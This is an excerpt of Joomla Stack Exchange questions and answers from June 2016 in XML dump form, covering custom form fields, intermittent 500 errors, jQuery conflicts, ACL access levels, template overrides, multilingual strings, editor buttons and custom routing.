  <row Id="16912" PostTypeId="2" ParentId="16909" CreationDate="2016-06-21T12:47:31.777" Score="1" Body="&lt;p&gt;For this, you can go with a &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow&quot;&gt;custom form field type&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your form field, you can &lt;a href=&quot;https://docs.joomla.org/Accessing_the_database_using_JDatabase&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;interact the way you want with the database&lt;/strong&gt;&lt;/a&gt; and have your results printed in the module's admin panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you could simply create an override over an already existing &lt;a href=&quot;https://docs.joomla.org/Standard_form_field_types&quot; rel=&quot;nofollow&quot;&gt;form field type&lt;/a&gt;, if you find any that is close to what you want to achieve and that you don't use it already in other ways in your module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you place the corresponding php file of the form field type, inside your module's &lt;code&gt;models/fields/&lt;/code&gt; folder, you can override it and this override will work for your module only.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-06-21T12:47:31.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16913" PostTypeId="1" CreationDate="2016-06-21T12:58:31.823" Score="1" ViewCount="282" Body="&lt;p&gt;I was hoping for some advice regarding what I think is a time out error? My problem is that on the first few loads my pages can fail to load and show a 500 error, but if I continue to refresh, or navigate away and then back again they load and I can carry on working. It is however, proving very difficult to find the issue as it is intermittent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am at present upgrading my template files and extensions to the latest version with the hope of moving to PHP 7, but in the meantime is there anyway that I can prevent/catch/rectify this time out issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My php.ini file contains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;max_execution_time = 5000&#xA;max_input_time = 5000&#xA;memory_limit = 512M&#xA;display_errors = Off&#xA;log_errors = On&#xA;error_reporting = E_ALL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But there aren't any real errors being logged.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="12352" LastEditDate="2018-12-08T12:09:40.333" LastActivityDate="2018-12-08T12:09:40.333" Title="Possible php time outs causing 500 server error?" Tags="|php|joomla-3.5|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16914" PostTypeId="2" ParentId="16908" CreationDate="2016-06-21T13:21:41.870" Score="1" Body="&lt;p&gt;Try serializing the array before saving it to the database, and then, when you need it, you can unserialize it (you can do this using the &lt;code&gt;serialize&lt;/code&gt;, &lt;code&gt;unserialize&lt;/code&gt; functions). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also save the array as json (which is a better option) using the &lt;code&gt;json_encode&lt;/code&gt; PHP function and then, when you want to retrieve it from the database, then you can use &lt;code&gt;json_decode&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-06-21T13:21:41.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16915" PostTypeId="2" ParentId="16913" CreationDate="2016-06-21T13:26:05.730" Score="1" Body="&lt;p&gt;Erratic issues are the hardest to debug, but I suggest you do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enable the MySQL slow query log (in your my.cnf file) and check if there are heavy queries taking place on your website&lt;/li&gt;&#xA;&lt;li&gt;Disable modules on your website (starting with slideshow modules) and continuously check to see when the problem goes away, when it does, then it means that you have found the offending module.&lt;/li&gt;&#xA;&lt;li&gt;If it's not any module, then disable non-core plugins one by one until the problem is no more.&lt;/li&gt;&#xA;&lt;li&gt;If it's not a plugin, then it might be that your website is hacked. Try overwriting the core files with those from a fresh Joomla install and see if that helps.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-06-21T13:26:05.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16916" PostTypeId="2" ParentId="16911" CreationDate="2016-06-21T13:43:53.800" Score="2" Body="&lt;p&gt;please look for the name as &quot;plg_authentication_joomla&quot; on #__extensions table and set the column &quot;enabled&quot; to 1 if it set 0. and also do the same for  name as &quot;plg_user_Joomla&quot; .&lt;/p&gt;&#xA;" OwnerUserId="8578" LastActivityDate="2016-06-21T13:43:53.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16917" PostTypeId="1" CreationDate="2016-06-21T14:54:09.297" Score="0" ViewCount="109" Body="&lt;p&gt;I started having a strange error on some pages. The website has been working fo the last 3 years with no problem.&#xA;We sell IT courses and have pages for both individual and group registration.&#xA;Group registration stopped working lately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see page: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pipeline.it/it/4000-excel8-excel-power-pivot/group-registration&quot; rel=&quot;nofollow&quot;&gt;http://www.pipeline.it/it/4000-excel8-excel-power-pivot/group-registration&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Insert any number greater than 1 and click &quot;Avanti&quot; (next) to simulate a group registration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on the registration page click &quot;Avanti&quot; again. This should call a function called &quot;checkData()&quot; to...well, check the data in the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use inspector/devloper tools you will see an error &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;ReferenceError: checkData is not defined&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the checkData is in the page. Why this behaviour or conflict?&lt;/p&gt;&#xA;" OwnerUserId="8530" LastActivityDate="2016-06-21T15:59:28.880" Title="Event Booking - Javascript error on function" Tags="|javascript|plugin-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16918" PostTypeId="2" ParentId="16917" CreationDate="2016-06-21T15:53:44.443" Score="1" Body="&lt;p&gt;Well, &quot;checkData is not defined&quot; isn't your only problem. Your page by the time of loading produces js errors. Also, when you focus in your input field there is one more error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, submitting in your form, it goes on -while trying to enter a number higher than 10, it reports back the restriction that I can only register up to 10 persons. I didn't get the checkData is not defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what is the expected behavior when submitting in your form, nor I spent much time to test further. But one important thing I quickly noticed is that you are loading more than one instances of the jQuery library in your page and in most cases this is enough for creating all kind of js errors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also find some helpful tips here: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/7648/javascript-errors-in-console-jquery-easy-jch-optimize&quot;&gt;Javascript errors in console - jQuery Easy - JCH Optimize&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-06-21T15:59:28.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16919" PostTypeId="1" CreationDate="2016-06-21T17:15:08.423" Score="1" ViewCount="64" Body="&lt;p&gt;Sorry for the confusing title. This is a little difficult to explain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know how to show only 1/3 of my page until someone makes a purchase and then they can see the full page. Similar to how these guys do it at &lt;a href=&quot;https://networklessons.com/&quot; rel=&quot;nofollow&quot;&gt;https://networklessons.com/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton&lt;/p&gt;&#xA;" OwnerUserId="8056" LastEditorUserId="7394" LastEditDate="2016-06-21T22:12:40.630" LastActivityDate="2016-06-21T22:12:40.630" Title="How to show only a part of my page until someone makes a purchase" Tags="|joomla-3.4|extensions|subscriptions|membership|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16920" PostTypeId="1" CreationDate="2016-06-21T18:53:31.497" Score="3" ViewCount="421" Body="&lt;p&gt;Can someone please explain the rights given to users that are assigned any of the following access levels shown in the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ar1V4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ar1V4.png&quot; alt=&quot;acces levels&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton&lt;/p&gt;&#xA;" OwnerUserId="8056" LastEditorUserId="7394" LastEditDate="2020-05-14T21:29:18.263" LastActivityDate="2020-05-14T21:29:18.263" Title="Access Levels Explanation Joomla 3" Tags="|joomla-3.4|acl|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16921" PostTypeId="2" ParentId="16920" CreationDate="2016-06-21T18:58:14.843" Score="1" Body="&lt;p&gt;Please check the full explanation in the following link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;- User Group Access levels explained in simple terms&lt;/strong&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/User_Group_Access_levels_explained_in_simple_terms&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/User_Group_Access_levels_explained_in_simple_terms&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-06-21T18:58:14.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16922" PostTypeId="2" ParentId="16919" CreationDate="2016-06-21T19:15:34.860" Score="1" Body="&lt;p&gt;You can try with one extension for &lt;a href=&quot;http://extensions.joomla.org/tags/membership-subscriptions&quot; rel=&quot;nofollow&quot;&gt;Membership &amp;amp; Subscriptions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/e-commerce/membership-a-subscriptions/rsmembership&quot; rel=&quot;nofollow&quot;&gt;RS Membership&lt;/a&gt;&lt;br/&gt;&#xA;One of the functions is the restriction of portions of content or the full article.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/e-commerce/membership-a-subscriptions/membership-pro&quot; rel=&quot;nofollow&quot;&gt;Membership Pro&lt;/a&gt;&lt;br/&gt;&#xA;Similar to the above extension, you can restrict portions or the full article.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/e-commerce/membership-a-subscriptions/smart-subscriptions&quot; rel=&quot;nofollow&quot;&gt;Smart Subscriptions&lt;/a&gt;&lt;br/&gt;&#xA;With this free extension you can use the functionality with the &quot;Read More&quot; feature.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: I am not affiliated in any way to the extensions mentioned above.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-06-21T19:15:34.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16923" PostTypeId="1" AcceptedAnswerId="16936" CreationDate="2016-06-21T20:47:27.183" Score="2" ViewCount="134" Body="&lt;p&gt;Can someone please explain to me why I'm suddenly unable to access the administrator section of my site. Each time I try to login I get the following message, see image. Your speedy help will be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BISBL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BISBL.png&quot; alt=&quot;access my site&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also get the following... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help&lt;a href=&quot;https://i.stack.imgur.com/sPtMS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sPtMS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton&lt;/p&gt;&#xA;" OwnerUserId="8056" LastEditorUserId="126" LastEditDate="2016-06-26T11:06:13.113" LastActivityDate="2016-06-26T11:06:13.113" Title="Unable to Access My Site" Tags="|joomla-3.x|administrator|acl|configuration|access|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16924" PostTypeId="2" ParentId="16692" CreationDate="2016-06-22T03:14:28.947" Score="1" Body="&lt;p&gt;Your script doesn't send 'start_date' parameter anywhere, so it defaults to 01.01.1970. Add 'start_date' parameter to $.ajax data, or add default value to $jinput-&gt;get('start_date', some_default_val).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW. - &lt;strong&gt;exit;&lt;/strong&gt; is not a good practice, there are better methods:&#xA;&lt;a href=&quot;https://stackoverflow.com/a/13479338/2877359&quot;&gt;https://stackoverflow.com/a/13479338/2877359&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1831" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-06-22T03:14:28.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16925" PostTypeId="2" ParentId="16920" CreationDate="2016-06-22T06:15:51.160" Score="2" Body="&lt;p&gt;please visit &lt;strong&gt;Access Control List Tutorial&lt;/strong&gt; for access level explanations with examples.&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8578" LastActivityDate="2016-06-22T06:15:51.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16926" PostTypeId="2" ParentId="16923" CreationDate="2016-06-22T07:01:06.630" Score="2" Body="&lt;p&gt;The screens in your question look quit normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The message appears after updating (by the way you really should update to 3.5).&#xA;The messages inform the joomla admin about changes in the new joomla version and often ask you to do changes manually at some files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You use 3.4, there was a big security update with 3.48. So it is a possibility that your site is hacked anyway.&lt;/p&gt;&#xA;" OwnerUserId="5767" LastActivityDate="2016-06-22T07:01:06.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16927" PostTypeId="1" CreationDate="2016-06-22T07:48:09.703" Score="3" ViewCount="108" Body="&lt;p&gt;I would like to create some html overrides for a given Admin Template (isis). So I could throw in all the code into the template's directory, but I guess an update will wipe out all my changes, so this might not be the best Idea. Right now I have three Ideas and I would like to ask which one to favour, or if there is any better out there:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(I)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best case scenario would be to include those overrides within my component and register that location in Joomla!. Imagine the following path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/admininistrator/com_somecomponent/overrides/…&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;all it contents should be treated as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/templates/&amp;lt;sometmpl&amp;gt;/html/…&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if it is possible to register that Path in the system, so that files get picked up, &lt;strong&gt;how can I do that?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(II)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way could be to copy the entire Admin Template, activate that and hack all changes in there. But than, this copied template wont get the updates of its »parent/original«, since this not a »real child theme«. &lt;strong&gt;It would like to keep the updates alive, so how could that be done?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(III)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet another way could be to create a symlink from pointing from the template to the component like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ pwd &#xA;$ /administrator/templates/&amp;lt;sometmpl&amp;gt;/html/&#xA;$&#xA;$ ls -la&#xA;$ com_content --&amp;gt; ../../../com_custom/overrides/com_content&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way I would have to care to create this link whenever an update occurs, what could be done within a plugin, listening to the »onExtensionAfterUpdate« Event. But It requires a lot code and I don't know how to test that, since Updates occur to rarely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SUMMARY&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extending the core content type is something that really would like to do, since a long time and I am searching for a good way to do that. So if anybody has ever done that before, I would appreciate each help very much!&lt;/p&gt;&#xA;" OwnerUserId="2246" LastActivityDate="2016-07-22T10:53:37.667" Title="Inject HTML overrides in admin Template" Tags="|component|administrator|template-override|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16928" PostTypeId="1" CreationDate="2016-06-22T07:55:23.723" Score="0" ViewCount="136" Body="&lt;p&gt;I am trying to write simple component for Joomla 3 to show catalogue and products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did made my model catalogue and it works ok - it shows list of all products with pagination, but I also want to make clickable link for each product to open detailed product info (this page should be accessible by alias).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is a correct way to organize this scheme in MVC? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I make a new model (??) but how to make aliases and give item's id to this page? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did read a lot of tutorials but I never seen any tutorial with library or catalogue example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance, guys&lt;/p&gt;&#xA;" OwnerUserId="8589" LastEditorUserId="126" LastEditDate="2017-01-19T13:39:51.647" LastActivityDate="2017-05-19T17:13:14.103" Title="Joomla component development - how to organize?" Tags="|component|development|mvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16929" PostTypeId="2" ParentId="16927" CreationDate="2016-06-22T10:44:44.647" Score="1" Body="&lt;p&gt;I would suggest option &lt;strong&gt;1&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let say you want to override:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;administrator/components/com_admin/views/sysinfo/tmpl/default.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You would simply need to copy this file over to&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;administrator/templates/isis/html/com_admin/sysinfo/default.php &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note:&lt;/strong&gt; as you can see, this excludes the &lt;code&gt;tmpl&lt;/code&gt; directory&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't need to register any paths...Joomla will automatically use the override.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-06-22T10:44:44.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16930" PostTypeId="1" CreationDate="2016-06-22T12:59:05.067" Score="1" ViewCount="391" Body="&lt;p&gt;I want to show full article in smart Search results (including images and other html)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As i see i have to change the line 34&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$description = JHtml::_('string.truncate', JString::substr($this-&amp;gt;result-&amp;gt;description, $start), $desc_length, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in&#xA;/html/com_finder/search/default_result.php &#xA;but i dont know to what.&lt;/p&gt;&#xA;" OwnerUserId="3898" LastActivityDate="2017-06-27T09:40:28.233" Title="How to show full article in Smart Search results" Tags="|smartsearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16931" PostTypeId="1" AcceptedAnswerId="16934" CreationDate="2016-06-22T13:13:09.823" Score="2" ViewCount="589" Body="&lt;p&gt;I have an extension that displays the time a shout was posted, for example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1 day ago&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This string is generated in my helper like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$num . ' ' . JText::_('SHOUT_TIME') . ' ' . JText::_('SHOUT_AGO')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The language constants are as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SHOUT_TIME=&quot;day&quot;&#xA;SHOUT_AGO=&quot;ago&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, in English this is perfectly fine, however in let's say, German, &lt;code&gt;ago&lt;/code&gt; translates into &lt;code&gt;vor&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result of this would be &lt;code&gt;1 tag vor&lt;/code&gt;, however it &lt;strong&gt;should&lt;/strong&gt; be &lt;code&gt;vor 1 tag&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bare in mind that &lt;code&gt;SHOUT_TIME&lt;/code&gt;, could be one of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;second&lt;/li&gt;&#xA;&lt;li&gt;minute&lt;/li&gt;&#xA;&lt;li&gt;hour&lt;/li&gt;&#xA;&lt;li&gt;day&lt;/li&gt;&#xA;&lt;li&gt;month&lt;/li&gt;&#xA;&lt;li&gt;year&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so this needs to be a separate language string.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So how can I switch the string around to cater for other language without using conditional statements in the helper?&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-06-22T21:34:19.967" Title="JText - multilingual string order" Tags="|joomla-3.x|language|multilingual|jtext|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16932" PostTypeId="1" AcceptedAnswerId="16935" CreationDate="2016-06-22T14:39:04.457" Score="1" ViewCount="273" Body="&lt;p&gt;Using below code to display editor&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$editor =&amp;amp; JFactory::getEditor();&#xA;$params = array( 'smilies'=&amp;gt; '0' ,&#xA;     'style'  =&amp;gt; '1' ,  &#xA;     'layer'  =&amp;gt; '0' , &#xA;     'table'  =&amp;gt; '0' ,&#xA;     'clear_entities'=&amp;gt;'0'&#xA;     );&#xA;    echo $editor-&amp;gt;display( 'desc', '', '400', '400', '20', '20', false, null, null, null, $params );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But facing only one issue &#xA;Using this way its not showing these 3 tabs below editor i.e&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Insert Module&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Image&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Read  More&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;see screenshot, can any one advise how to get added the tabs of Insert module, image and read more below editor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/osifq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/osifq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As i checked source code  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;div id=&quot;editor-xtd-buttons&quot;&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the relevant code under it is missing&lt;/p&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="5654" LastEditDate="2016-06-22T14:44:15.870" LastActivityDate="2016-06-22T21:44:20.557" Title="Joomla editor not showing image, read more and insert module tab" Tags="|joomla-2.5|editor|tinymce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16934" PostTypeId="2" ParentId="16931" CreationDate="2016-06-22T21:34:19.967" Score="6" Body="&lt;p&gt;Add further abstraction.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JText::sprintf('COM_MYCOMPONENT_DATETIME_AGO', $num, JText::_('SHOUT_TIME'), JText::_('SHOUT_AGO'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;English language&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_MYCOMPONENT_DATETIME_AGO=&quot;%1$s %2$s %3$s&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;German language&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_MYCOMPONENT_DATETIME_AGO=&quot;%3$s %1$s %2$s&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-06-22T21:34:19.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16935" PostTypeId="2" ParentId="16932" CreationDate="2016-06-22T21:44:20.557" Score="1" Body="&lt;p&gt;Try changing &lt;code&gt;false&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; in your last line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $editor-&amp;gt;display( 'desc', '', '400', '400', '20', '20', true, null, null, null, $params );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's a quick screenshot from Joomla 2.5. Note that according to your screenshot, your default editor seems to be JCE, not TinyMCE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lTSkT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lTSkT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-06-22T21:44:20.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16936" PostTypeId="2" ParentId="16923" CreationDate="2016-06-23T05:00:49.200" Score="2" Body="&lt;p&gt;May I have a long shot - considering your other recent question on &lt;a href=&quot;https://joomla.stackexchange.com/questions/16920/access-levels-explanation-joomla-3-4&quot;&gt;Access Levels Explanation Joomla 3.4&lt;/a&gt; - I would guess that you probably made changes on the ACL of your site, so that's why now you can't access certain elements of your backend. &#xA;Can you recall if you did anything like this?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-06-23T05:00:49.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16937" PostTypeId="2" ParentId="16928" CreationDate="2016-06-23T06:10:13.973" Score="1" Body="&lt;p&gt;I´ll describe the way I did it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a system plugin that responds to the &lt;code&gt;onAfterInitialise&lt;/code&gt; event to create a new router.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$router = $app-&amp;gt;getRouter();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I can use my own rules:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$router-&amp;gt;attachBuildRule(array($myRouterRules, 'build'));&#xA;$router-&amp;gt;attachParseRule(array($myRouterRules, 'parse'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The alias of my product is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;alias-p2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For instance for a product named: This is a great product with ID = 5 the alias would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;this-is-a-great-product-p5 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The my parse rule will identify if the URL ends in -pX and if so it will send the url query for my detail product screen.&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="126" LastEditDate="2017-01-19T13:38:00.943" LastActivityDate="2017-01-19T13:38:00.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
